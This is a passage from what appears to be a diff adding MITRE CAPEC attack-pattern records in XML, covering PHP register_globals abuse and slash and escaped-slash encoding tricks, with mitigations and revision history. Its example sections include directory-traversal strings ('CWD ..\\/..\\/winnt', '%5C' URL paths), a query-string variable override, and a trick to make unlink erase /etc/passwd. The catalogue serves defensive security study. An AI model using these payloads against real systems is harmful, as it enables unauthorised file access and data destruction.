register_globals option is enabled, PHP will create global variables for each GET, POST, and cookie variable included in the HTTP request. This means that a malicious user may be able to set variables unexpectedly. For instance make sure that the server setting for PHP does not expose global variables.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A software system should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking is performed when relying on input from outside a trust boundary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Separate the presentation layer and the business logic layer. Variables at the business logic layer should not be exposed at the presentation layer. This is to prevent computation of business logic from user controlled input data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use encapsulation when declaring your variables. This is to lower the exposure of your variables.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assume all input is malicious. Create an allowlist that defines all valid input to the software system based on the requirements specifications. Input that does not match against the allowlist should be rejected by the program.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;PHP is a study in bad security. The main idea pervading PHP is "ease of use," and the mantra "don't make the developer go to any extra work to get stuff done" applies in all cases. This is accomplished in PHP by removing formalism from the language, allowing declaration of variables on first use, initializing everything with preset values, and taking every meaningful variable from a transaction and making it available. In cases of collision with something more technical, the simple almost always dominates in PHP.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;One consequence of all this is that PHP allows users of a Web application to override environment variables with user-supplied, untrusted query variables. Thus, critical values such as the CWD and the search path can be overwritten and directly controlled by a remote anonymous user.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Another similar consequence is that variables can be directly controlled and assigned from the user-controlled values supplied in GET and POST request fields. So seemingly normal code like this, does bizarre things:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;while($count &amp;lt; 10){&lt;xhtml:br&gt;&lt;/xhtml:br&gt;// Do something&lt;xhtml:br&gt;&lt;/xhtml:br&gt;$count++;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;}&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Normally, this loop will execute its body ten times. The first iteration will be an undefined zero, and further trips though the loop will result in an increment of the variable $count. The problem is that the coder does not initialize the variable to zero before entering the loop. This is fine because PHP initializes the variable on declaration. The result is code that seems to function, regardless of badness. The problem is that a user of the Web application can supply a request such as&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;GET /login.php?count=9&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;and cause $count to start out at the value 9, resulting in only one trip through the loop. Yerg.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Depending on the configuration, PHP may accept user-supplied variables in place of environment variables. PHP initializes global variables for all process environment variables, such as $PATH and $HOSTNAME. These variables are of critical importance because they may be used in file or network operations. If an adversary can supply a new $PATH variable (such as PATH='/var'), the program may be exploitable.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;PHP may also take field tags supplied in GET/POST requests and transform them into global variables. This is the case with the $count variable we explored in our previous example.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Consider another example of this problem in which a program defines a variable called $tempfile. An adversary can supply a new temp file such as $tempfile = "/etc/passwd". Then the temp file may get erased later via a call to unlink($tempfile);. Now the passwd file has been erased--a bad thing indeed on most OSs.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Also consider that the use of include() and require() first search $PATH, and that using calls to the shell may execute crucial programs such as ls. In this way, ls may be "Trojaned" (the adversary can modify $PATH to cause a Trojan copy of ls to be loaded). This type of attack could also apply to loadable libraries if $LD_LIBRARY_PATH is modified.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Finally, some versions of PHP may pass user data to syslog as a format string, thus exposing the application to a format string buffer overflow.&lt;/xhtml:p&gt;See also: File upload allows arbitrary file read by setting hidden form variables to match internal variable names (CVE-2000-0860)</xhtml:div> + + + + + 15 + + + + + 94 + + + + + 96 + + + + + 285 + + + + + 302 + + + + + 473 + + + + + 1321 + + + + + + + + + + + + #indReferenceReference44245 + Reference_44245 + + + + + + + + + REF-1 + + + + + + + + + + + + #indReferenceReference44246 + Reference_44246 + + + + + + + + + REF-520 + + + + + + + + + + + + #indReferenceReference44247 + Reference_44247 + + + + + + + + + REF-521 + + + + + + + + + + + + #indReferenceReference44248 + Reference_44248 + + + + + + + + + REF-522 + + + + + Chapter 29. Using Register Globals + + + + + + + + + + + + #indContentHistoryContentHistory44250 + Content_History_44250 + + + + + + + + + + + + + + + + #indSubmissionSubmission44251 + Submission_44251 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification44256 + Modification_44256 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification44262 + Modification_44262 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification44268 + Modification_44268 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow, Mitigations, Skills_Required + + + + + + + + + + + + #indModificationModification44274 + Modification_44274 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification44280 + Modification_44280 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Execution_Flow, Skills_Required + + + + + + + + + + + + #indModificationModification44286 + Modification_44286 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-78 + Using Escaped Slashes in Alternate Encoding + + + + + + + + + 78 + + + + + Using Escaped Slashes in Alternate Encoding + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern44301 + Related_Attack_Pattern_44301 + + + + + + + + + + + + + + 267 + + + + + + + + + + + + #indAttackStepAttackStep44304 + Attack_Step_44304 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser, an automated tool or by inspecting the application, an adversary records all entry points to the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually inspect the application to find entry points.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep44313 + Attack_Step_44313 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe entry points to locate vulnerabilities] The adversary uses the entry points gathered in the "Explore" phase as a target list and attempts to escape multiple different special characters using a backslash.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Escape a special character with a backslash to bypass input validation.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try different encodings of both the backslash and the special character to see if this bypasses input validation</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep44320 + Attack_Step_44320 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Manipulate input] Once the adversary determines how to bypass filters that filter out special characters using an escaped slash, they will manipulate the user input in a way that is not intended by the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The application accepts the backlash character as escape character.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The application server does incomplete input data decoding, filtering and validation.</xhtml:div> + + + + + + + + + + + + #indSkillSkill44331 + Skill_44331 + + + + + + + + + + + + + + The adversary can naively try backslash character and discover that the target host uses it as escape character. + + + + + + + + + + + + #indSkillSkill44332 + Skill_44332 + + + + + + + + + + + + + + The adversary may need deep understanding of the host target in order to exploit the vulnerability. The adversary may also use automated tools to probe for this vulnerability. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary can use a fuzzer in order to probe for this vulnerability. The fuzzer should generate suspicious network activity noticeable by an intrusion detection system.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence44338 + Consequence_44338 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence44342 + Consequence_44342 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Denial of Service</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence44347 + Consequence_44347 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence44354 + Consequence_44354 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Verify that the user-supplied data does not use backslash character to escape malicious characters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assume all input is malicious. Create an allowlist that defines all valid input to the software system based on the requirements specifications. Input that does not match against the allowlist should not be permitted to enter into the system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Be aware of the threat of alternative method of data encoding.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Regular expressions can be used to filter out backslash. Make sure you decode before filtering and validating the untrusted input data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In the case of path traversals, use the principle of least privilege when determining access rights to file systems. Do not allow users to access directories/files that they should not access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Any security checks should occur after the data has been decoded and validated as correct data format. Do not repeat decoding process, if bad character are left after decoding process, treat the data as suspicious, and fail the validation process.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;For example, the byte pair \\0 might result in a single zero byte (a NULL) being sent. Another example is \\t, which is sometimes converted into a tab character. There is often an equivalent encoding between the back slash and the escaped back slash. This means that \\/ results in a single forward slash. A single forward slash also results in a single forward slash. The encoding looks like this:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;/ yields /&lt;xhtml:br&gt;&lt;/xhtml:br&gt;\\/ yields /&lt;/xhtml:div&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An attack leveraging escaped slashes in slternate encodings is very simple. If you believe the target may be filtering the slash, attempt to supply \\/ and see what happens. Example command strings to try out include&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;CWD ..\\/..\\/..\\/..\\/winnt&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;which converts in many cases to&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;CWD ../../../../winnt&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;To probe for this kind of problem, a small C program that uses string output routines can be very useful. File system calls make excellent testing fodder. The simple snippet&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;int main(int argc, char* argv[])&lt;xhtml:br&gt;&lt;/xhtml:br&gt;{&lt;xhtml:div style="margin-left:1em;"&gt;puts("\\/ \\\\ \\? \\. \\| ");&lt;xhtml:br&gt;&lt;/xhtml:br&gt;return 0;&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;}&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;produces the output&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;/ \\ ? . |&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Clearly, the back slash is ignored, and thus we have hit on a number of alternative encodings to experiment with. Given our previous example, we can extend the attack to include other possibilities:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;CWD ..\\?\\?\\?\\?\\/..\\/..\\/..\\/winnt&lt;xhtml:br&gt;&lt;/xhtml:br&gt;CWD \\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/winnt&lt;xhtml:br&gt;&lt;/xhtml:br&gt;CWD ..\\|\\|\\|\\|\\/..\\/..\\/..\\/winnt&lt;/xhtml:div&gt; + </xhtml:div> + + + + + 180 + + + + + 181 + + + + + 173 + + + + + 172 + + + + + 73 + + + + + 22 + + + + + 74 + + + + + 20 + + + + + 697 + + + + + 707 + + + + + + + + + + + + #indReferenceReference44402 + Reference_44402 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory44404 + Content_History_44404 + + + + + + + + + + + + + + + + #indSubmissionSubmission44405 + Submission_44405 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification44410 + Modification_44410 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification44416 + Modification_44416 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification44422 + Modification_44422 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification44428 + Modification_44428 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification44434 + Modification_44434 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Execution_Flow, Indicators, Skills_Required + + + + + + + + + + + + #indModificationModification44440 + Modification_44440 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-79 + Using Slashes in Alternate Encoding + + + + + + + + + 79 + + + + + Using Slashes in Alternate Encoding + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern44454 + Related_Attack_Pattern_44454 + + + + + + + + + + + + + + 267 + + + + + + + + + + + + #indAttackStepAttackStep44457 + Attack_Step_44457 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser, an automated tool or by inspecting the application, an adversary records all entry points to the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually inspect the application to find entry points.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep44466 + Attack_Step_44466 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe entry points to locate vulnerabilities] The adversary uses the entry points gathered in the "Explore" phase as a target list and looks for areas where user input is used to access resources on the target host. The adversary attempts different encodings of slash characters to bypass input filters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try both backslash and forward slash characters</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try different encodings for slash characters such as %5C</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep44473 + Attack_Step_44473 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Traverse application directories] Once the adversary determines how to bypass filters that filter out slash characters, they will manipulate the user input to include slashes in order to traverse directories and access resources that are not intended for the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The application server accepts paths to locate resources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The application server does insufficient input data validation on the resource path requested by the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The access right to resources are not set properly.</xhtml:div> + + + + + + + + + + + + #indSkillSkill44485 + Skill_44485 + + + + + + + + + + + + + + An adversary can try variation of the slashes characters. + + + + + + + + + + + + #indSkillSkill44486 + Skill_44486 + + + + + + + + + + + + + + An adversary can use more sophisticated tool or script to scan a website and find a path filtering problem. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the first path decoding process has left some invalid or denylisted characters, that may be a sign that the request is malicious.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Traffic filtering with IDS (or proxy) can detect request with suspicious URLs. IDS may use signature based identification to reveal such URL based attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary can use a fuzzer in order to probe for a UTF-8 encoding vulnerability. The fuzzer should generate suspicious network activity.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence44494 + Consequence_44494 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence44498 + Consequence_44498 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence44505 + Consequence_44505 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Any security checks should occur after the data has been decoded and validated as correct data format. Do not repeat decoding process, if bad character are left after decoding process, treat the data as suspicious, and fail the validation process. Refer to the RFCs to safely decode URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When client input is required from web-based forms, avoid using the "GET" method to submit data, as the method causes the form data to be appended to the URL and is easily manipulated. Instead, use the "POST method whenever possible.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">There are tools to scan HTTP requests to the server for valid URL such as URLScan from Microsoft (http://www.microsoft.com/technet/security/tools/urlscan.mspx)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Be aware of the threat of alternative method of data encoding and obfuscation technique such as IP address encoding. (See related guideline section)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Test your path decoding process against malicious input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In the case of path traversals, use the principle of least privilege when determining access rights to file systems. Do not allow users to access directories/files that they should not access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assume all input is malicious. Create an allowlist that defines all valid input to the application based on the requirements specifications. Input that does not match against the allowlist should not be permitted to enter into the system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Attack Example: Slashes in Alternate Encodings&lt;/xhtml:b&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The two following requests are equivalent on most Web servers:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;http://target server/some_directory\\..\\..\\..\\winnt&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;is equivalent to&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;http://target server/some_directory/../../../winnt&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Multiple encoding conversion problems can also be leveraged as various slashes are instantiated in URL-encoded, UTF-8, or Unicode. Consider the strings&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;http://target server/some_directory\\..%5C..%5C..\\winnt&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;where %5C is equivalent to the \\ character.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 173 + + + + + 180 + + + + + 181 + + + + + 20 + + + + + 74 + + + + + 73 + + + + + 22 + + + + + 185 + + + + + 200 + + + + + 697 + + + + + 707 + + + + + + + + + + + + #indReferenceReference44547 + Reference_44547 + + + + + + + + + REF-1 + + + + + + + + + + + + #indReferenceReference44548 + Reference_44548 + + + + + + + + + REF-525 + + + + + + + + + + + + #indReferenceReference44549 + Reference_44549 + + + + + + + + + REF-495 + + + + + + + + + + + + #indContentHistoryContentHistory44551 + Content_History_44551 + + + + + + + + + + + + + + + + #indSubmissionSubmission44552 + Submission_44552 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification44557 + Modification_44557 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification44563 + Modification_44563 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Indicators, Mitigations + + + + + + + + + + + + #indModificationModification44569 + Modification_44569 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + 